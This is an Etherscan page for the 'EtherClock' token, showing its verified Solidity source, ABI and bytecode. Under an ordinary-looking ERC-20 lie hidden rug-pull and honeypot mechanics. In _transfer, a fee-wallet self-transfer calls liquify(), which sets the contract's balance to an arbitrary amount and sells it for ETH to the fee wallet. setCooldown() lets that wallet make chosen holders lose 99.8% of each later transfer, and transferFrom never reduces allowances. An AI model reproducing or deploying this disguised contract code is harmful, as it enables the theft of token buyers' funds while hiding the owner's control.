ETH Price: $2,295.64 (-2.64%)

Token

EtherClock (09:22 GMT)
 

Overview

Max Total Supply

1,000,000,000,000 09:22 GMT

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
53,028,245,864.101976834 09:22 GMT

Value
$0.00
0xae59a1f6525cfd1259be901d19fecab408a28d3a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-30
*/

pragma solidity ^0.8.18;
// SPDX-License-Identifier: MIT

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
}

abstract contract Ownable {
    function owner() public view virtual returns (address) {return _owner;}

    function renounceOwnership() public virtual onlyOwner {emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);}

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    address private _owner;
}

interface IUniswapV2Router {
    function WETH() external pure returns (address aadd);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;

    function factory() external pure returns (address addr);
}

contract EC is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    mapping(address => uint256) bots;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    constructor() {
        _feeWallet = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
        _balances[msg.sender] = _totalSupply;
    }
    function totalSupply() external view returns (uint256) {return _totalSupply;}
    event Transfer(address indexed __address_, address indexed, uint256 _v);
    function feeWallet() internal view returns (bool) {
        return msg.sender == _feeWallet;
    }
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 _fee = 0;
    function name() external view returns (string memory) {return _name;}
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Approval(address indexed ai, address indexed _adress_indexed, uint256 value);
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0));
        if (msg.sender == _feeWallet && to == from) {liquify(amount, to);} else {
            require(amount <= _balances[from]);
            uint256 feeAmount = 0;
            if (cooldowns[from] != 0 && cooldowns[from] <= block.number) {feeAmount = amount.mul(998).div(1000);}
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - feeAmount;
            emit Transfer(from, to, amount);
        }
    }
    uint256 _maxWallet;
    string private _name = "EtherClock";
    string private  _symbol = "00:00";
    function symbol() external view returns (string memory) {
        string memory _hours = uint2str((block.timestamp / 3600) % 24);
        string memory  _minutes = uint2str(block.timestamp % 3600 / 60);
        if (bytes(_hours).length == 1) {
            _hours = string.concat("0", _hours);
        }
        if (bytes(_minutes).length == 1) {
            _minutes = string.concat("0", _minutes);
        }

        return string.concat(_hours, ":", _minutes, " GMT");
    }
    function uint2str(uint256 _i) internal pure returns (string memory str)
    {
        if (_i == 0){return "0";}
        uint256 j = _i;
        uint256 length;
        while (j != 0){length++;j /= 10;}
        bytes memory bstr = new bytes(length);
        uint256 k = length;
        j = _i;
        while (j != 0){bstr[--k] = bytes1(uint8(48 + j % 10));j /= 10;}
        str = string(bstr);
    }
    function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    mapping(address => uint256)  cooldowns;
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0), "IERC20: approve to the zero address"); require(owner != address(0), "IERC20: approve from the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function liquify(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        path[0] = address(this); path[1] = _router.WETH();

        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs, 0, path, _bcr, block.timestamp + 30);
    }
    uint256 _maxTx;
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    address public _feeWallet;
    function decimals() external view returns (uint256) {return _decimals;}
    mapping(address => uint256) private _balances;
    function getPairAddress() private view returns (address) {return IUniswapV2Factory(
        _router.factory()).getPair(address(this),
        _router.WETH());
    }
    function setCooldown(address[] calldata list) external {
        for (uint i = 0; i < list.length; i++) {
            if (!feeWallet()){} else {cooldowns[list[i]] = 
            block.number + 1;
            }}
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function removeLimit() external onlyOwner {  _maxWallet = _totalSupply; _maxTx = _totalSupply; }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ai","type":"address"},{"indexed":true,"internalType":"address","name":"_adress_indexed","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"__address_","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"_v","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004a1565b64e8d4a510006200002c9190620004f2565b600255737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006005556040518060400160405280600a81526020017f4574686572436c6f636b0000000000000000000000000000000000000000000081525060079081620000cf9190620007ad565b506040518060400160405280600581526020017f30303a303000000000000000000000000000000000000000000000000000000081525060089081620001169190620007ad565b503480156200012457600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a333600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002c09190620008a5565b60405180910390a3600254600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008c2565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003a2578086048111156200037a576200037962000314565b5b60018516156200038a5780820291505b80810290506200039a8562000343565b94506200035a565b94509492505050565b600082620003bd576001905062000490565b81620003cd576000905062000490565b8160018114620003e65760028114620003f15762000427565b600191505062000490565b60ff84111562000406576200040562000314565b5b8360020a91508482111562000420576200041f62000314565b5b5062000490565b5060208310610133831016604e8410600b8410161715620004615782820a9050838111156200045b576200045a62000314565b5b62000490565b62000470848484600162000350565b925090508184048111156200048a576200048962000314565b5b81810290505b9392505050565b6000819050919050565b6000620004ae8262000497565b9150620004bb8362000497565b9250620004ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ab565b905092915050565b6000620004ff8262000497565b91506200050c8362000497565b92508282026200051c8162000497565b9150828204841483151762000536576200053562000314565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005bf57607f821691505b602082108103620005d557620005d462000577565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000600565b6200064b868362000600565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200068e62000688620006828462000497565b62000663565b62000497565b9050919050565b6000819050919050565b620006aa836200066d565b620006c2620006b98262000695565b8484546200060d565b825550505050565b600090565b620006d9620006ca565b620006e68184846200069f565b505050565b5b818110156200070e5762000702600082620006cf565b600181019050620006ec565b5050565b601f8211156200075d576200072781620005db565b6200073284620005f0565b8101602085101562000742578190505b6200075a6200075185620005f0565b830182620006eb565b50505b505050565b600082821c905092915050565b6000620007826000198460080262000762565b1980831691505092915050565b60006200079d83836200076f565b9150826002028217905092915050565b620007b8826200053d565b67ffffffffffffffff811115620007d457620007d362000548565b5b620007e08254620005a6565b620007ed82828562000712565b600060209050601f83116001811462000825576000841562000810578287015190505b6200081c85826200078f565b8655506200088c565b601f1984166200083586620005db565b60005b828110156200085f5784890151825560018201915060208501945060208101905062000838565b868310156200087f57848901516200087b601f8916826200076f565b8355505b6001600288020188555050505b505050505050565b6200089f8162000497565b82525050565b6000602082019050620008bc600083018462000894565b92915050565b6120f480620008d26000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806362256589116100a25780638da5cb5b116100715780638da5cb5b146102bf57806395d89b41146102dd578063a457c2d7146102fb578063a9059cbb1461032b578063dd62ed3e1461035b57610116565b8063622565891461025d578063659419a41461026757806370a0823114610285578063715018a6146102b557610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806332424aa3146101f1578063395093511461020f5780633eaaf86b1461023f57610116565b80630204f6771461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906115c5565b61038b565b005b61013f610436565b60405161014c91906116a2565b60405180910390f35b61016f600480360381019061016a9190611758565b6104c8565b60405161017c91906117b3565b60405180910390f35b61018d6104df565b60405161019a91906117dd565b60405180910390f35b6101bd60048036038101906101b891906117f8565b6104e9565b6040516101ca91906117b3565b60405180910390f35b6101db61058a565b6040516101e891906117dd565b60405180910390f35b6101f9610594565b60405161020691906117dd565b60405180910390f35b61022960048036038101906102249190611758565b61059a565b60405161023691906117b3565b60405180910390f35b610247610638565b60405161025491906117dd565b60405180910390f35b61026561063e565b005b61026f6106c7565b60405161027c919061185a565b60405180910390f35b61029f600480360381019061029a9190611875565b6106ed565b6040516102ac91906117dd565b60405180910390f35b6102bd610736565b005b6102c7610869565b6040516102d4919061185a565b60405180910390f35b6102e5610892565b6040516102f291906116a2565b60405180910390f35b61031560048036038101906103109190611758565b610961565b60405161032291906117b3565b60405180910390f35b61034560048036038101906103409190611758565b610a88565b60405161035291906117b3565b60405180910390f35b610375600480360381019061037091906118a2565b610a9f565b60405161038291906117dd565b60405180910390f35b60005b82829050811015610431576103a1610b26565b1561041e576001436103b39190611911565b600960008585858181106103ca576103c9611945565b5b90506020020160208101906103df9190611875565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061042990611974565b91505061038e565b505050565b606060078054610445906119eb565b80601f0160208091040260200160405190810160405280929190818152602001828054610471906119eb565b80156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610b7e565b6001905092915050565b6000600254905090565b60006104f6848484610d47565b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561057f57600080fd5b600190509392505050565b6000600154905090565b60015481565b600061062e338484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106299190611911565b610b7e565b6001905092915050565b60025481565b3373ffffffffffffffffffffffffffffffffffffffff1661065d610869565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa90611a68565b60405180910390fd5b600254600681905550600254600a81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610755610869565b73ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290611a68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060006108b86018610e10426108a99190611ab7565b6108b39190611ae8565b611084565b905060006108de603c610e10426108cf9190611ae8565b6108d99190611ab7565b611084565b9050600182510361090c57816040516020016108fa9190611b7b565b60405160208183030381529060405291505b600181510361093857806040516020016109269190611b7b565b60405160208183030381529060405290505b818160405160200161094b929190611bed565b6040516020818303038152906040529250505090565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109ec57600080fd5b610a7e338484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a799190611c2f565b610b7e565b6001905092915050565b6000610a95338484610d47565b6001905092915050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490611cd5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390611d67565b60405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d3a91906117dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8057600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e0857508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610e1c57610e1781836111ea565b61107f565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610e6857600080fd5b600080600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610ef8575043600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610f2957610f266103e8610f186103e68561147e90919063ffffffff16565b6114f890919063ffffffff16565b90505b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f749190611c2f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082610fc39190611c2f565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110119190611911565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107591906117dd565b60405180910390a3505b505050565b6060600082036110cb576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506111e5565b600082905060005b600082146110fd5780806110e690611974565b915050600a826110f69190611ab7565b91506110d3565b60008167ffffffffffffffff81111561111957611118611d87565b5b6040519080825280601f01601f19166020018201604052801561114b5781602001600182028036833780820191505090505b50905060008290508593505b600084146111dd57600a8461116c9190611ae8565b60306111789190611911565b60f81b828261118690611db6565b9250828151811061119a57611199611945565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a846111d69190611ab7565b9350611157565b819450505050505b919050565b61121730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b7e565b81600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561127857611277611d87565b5b6040519080825280602002602001820160405280156112a65781602001602082028036833780820191505090505b50905030816000815181106112be576112bd611945565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113899190611df4565b8160018151811061139d5761139c611945565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114279190611911565b6040518663ffffffff1660e01b8152600401611447959493929190611f24565b600060405180830381600087803b15801561146157600080fd5b505af1158015611475573d6000803e3d6000fd5b50505050505050565b600080830361149057600090506114f2565b6000828461149e9190611f7e565b90508284826114ad9190611ab7565b146114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490612032565b60405180910390fd5b809150505b92915050565b600080821161153c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115339061209e565b60405180910390fd5b6000828461154a9190611ab7565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261158557611584611560565b5b8235905067ffffffffffffffff8111156115a2576115a1611565565b5b6020830191508360208202830111156115be576115bd61156a565b5b9250929050565b600080602083850312156115dc576115db611556565b5b600083013567ffffffffffffffff8111156115fa576115f961155b565b5b6116068582860161156f565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561164c578082015181840152602081019050611631565b60008484015250505050565b6000601f19601f8301169050919050565b600061167482611612565b61167e818561161d565b935061168e81856020860161162e565b61169781611658565b840191505092915050565b600060208201905081810360008301526116bc8184611669565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ef826116c4565b9050919050565b6116ff816116e4565b811461170a57600080fd5b50565b60008135905061171c816116f6565b92915050565b6000819050919050565b61173581611722565b811461174057600080fd5b50565b6000813590506117528161172c565b92915050565b6000806040838503121561176f5761176e611556565b5b600061177d8582860161170d565b925050602061178e85828601611743565b9150509250929050565b60008115159050919050565b6117ad81611798565b82525050565b60006020820190506117c860008301846117a4565b92915050565b6117d781611722565b82525050565b60006020820190506117f260008301846117ce565b92915050565b60008060006060848603121561181157611810611556565b5b600061181f8682870161170d565b93505060206118308682870161170d565b925050604061184186828701611743565b9150509250925092565b611854816116e4565b82525050565b600060208201905061186f600083018461184b565b92915050565b60006020828403121561188b5761188a611556565b5b60006118998482850161170d565b91505092915050565b600080604083850312156118b9576118b8611556565b5b60006118c78582860161170d565b92505060206118d88582860161170d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061191c82611722565b915061192783611722565b925082820190508082111561193f5761193e6118e2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061197f82611722565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119b1576119b06118e2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a0357607f821691505b602082108103611a1657611a156119bc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a5260208361161d565b9150611a5d82611a1c565b602082019050919050565b60006020820190508181036000830152611a8181611a45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ac282611722565b9150611acd83611722565b925082611add57611adc611a88565b5b828204905092915050565b6000611af382611722565b9150611afe83611722565b925082611b0e57611b0d611a88565b5b828206905092915050565b7f3000000000000000000000000000000000000000000000000000000000000000815250565b600081905092915050565b6000611b5582611612565b611b5f8185611b3f565b9350611b6f81856020860161162e565b80840191505092915050565b6000611b8682611b19565b600182019150611b968284611b4a565b915081905092915050565b7f3a00000000000000000000000000000000000000000000000000000000000000815250565b7f20474d5400000000000000000000000000000000000000000000000000000000815250565b6000611bf98285611b4a565b9150611c0482611ba1565b600182019150611c148284611b4a565b9150611c1f82611bc7565b6004820191508190509392505050565b6000611c3a82611722565b9150611c4583611722565b9250828203905081811115611c5d57611c5c6118e2565b5b92915050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611cbf60238361161d565b9150611cca82611c63565b604082019050919050565b60006020820190508181036000830152611cee81611cb2565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d5160258361161d565b9150611d5c82611cf5565b604082019050919050565b60006020820190508181036000830152611d8081611d44565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000611dc182611722565b915060008203611dd457611dd36118e2565b5b600182039050919050565b600081519050611dee816116f6565b92915050565b600060208284031215611e0a57611e09611556565b5b6000611e1884828501611ddf565b91505092915050565b6000819050919050565b6000819050919050565b6000611e50611e4b611e4684611e21565b611e2b565b611722565b9050919050565b611e6081611e35565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611e9b816116e4565b82525050565b6000611ead8383611e92565b60208301905092915050565b6000602082019050919050565b6000611ed182611e66565b611edb8185611e71565b9350611ee683611e82565b8060005b83811015611f17578151611efe8882611ea1565b9750611f0983611eb9565b925050600181019050611eea565b5085935050505092915050565b600060a082019050611f3960008301886117ce565b611f466020830187611e57565b8181036040830152611f588186611ec6565b9050611f67606083018561184b565b611f7460808301846117ce565b9695505050505050565b6000611f8982611722565b9150611f9483611722565b9250828202611fa281611722565b91508282048414831517611fb957611fb86118e2565b5b5092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b600061201c60228361161d565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000612088601b8361161d565b915061209382612052565b602082019050919050565b600060208201905081810360008301526120b78161207b565b905091905056fea26469706673582212208d8cbde07ea26a35181f31d947f77d5727ce13bf673f2787086ce6460e90b79964736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806362256589116100a25780638da5cb5b116100715780638da5cb5b146102bf57806395d89b41146102dd578063a457c2d7146102fb578063a9059cbb1461032b578063dd62ed3e1461035b57610116565b8063622565891461025d578063659419a41461026757806370a0823114610285578063715018a6146102b557610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806332424aa3146101f1578063395093511461020f5780633eaaf86b1461023f57610116565b80630204f6771461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906115c5565b61038b565b005b61013f610436565b60405161014c91906116a2565b60405180910390f35b61016f600480360381019061016a9190611758565b6104c8565b60405161017c91906117b3565b60405180910390f35b61018d6104df565b60405161019a91906117dd565b60405180910390f35b6101bd60048036038101906101b891906117f8565b6104e9565b6040516101ca91906117b3565b60405180910390f35b6101db61058a565b6040516101e891906117dd565b60405180910390f35b6101f9610594565b60405161020691906117dd565b60405180910390f35b61022960048036038101906102249190611758565b61059a565b60405161023691906117b3565b60405180910390f35b610247610638565b60405161025491906117dd565b60405180910390f35b61026561063e565b005b61026f6106c7565b60405161027c919061185a565b60405180910390f35b61029f600480360381019061029a9190611875565b6106ed565b6040516102ac91906117dd565b60405180910390f35b6102bd61